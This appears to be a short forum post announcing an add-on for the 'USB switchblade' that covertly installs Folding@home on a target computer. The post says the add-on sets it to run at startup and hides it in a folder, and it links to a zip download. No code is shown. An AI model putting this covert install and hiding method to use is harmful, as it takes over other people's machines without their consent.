I have created a quick add on for the USB switchblade, that install fold@home on the target computer, then installs it like the hacksaw, which has it run at startup and hides in a folder depending on the privileges. The download link is http://d.turboupload.com/d/1069130/USB-fh.zip.html , I'm sure there is problems somewhere in there, or better ways to do it. Just let me know and I'll fix it.
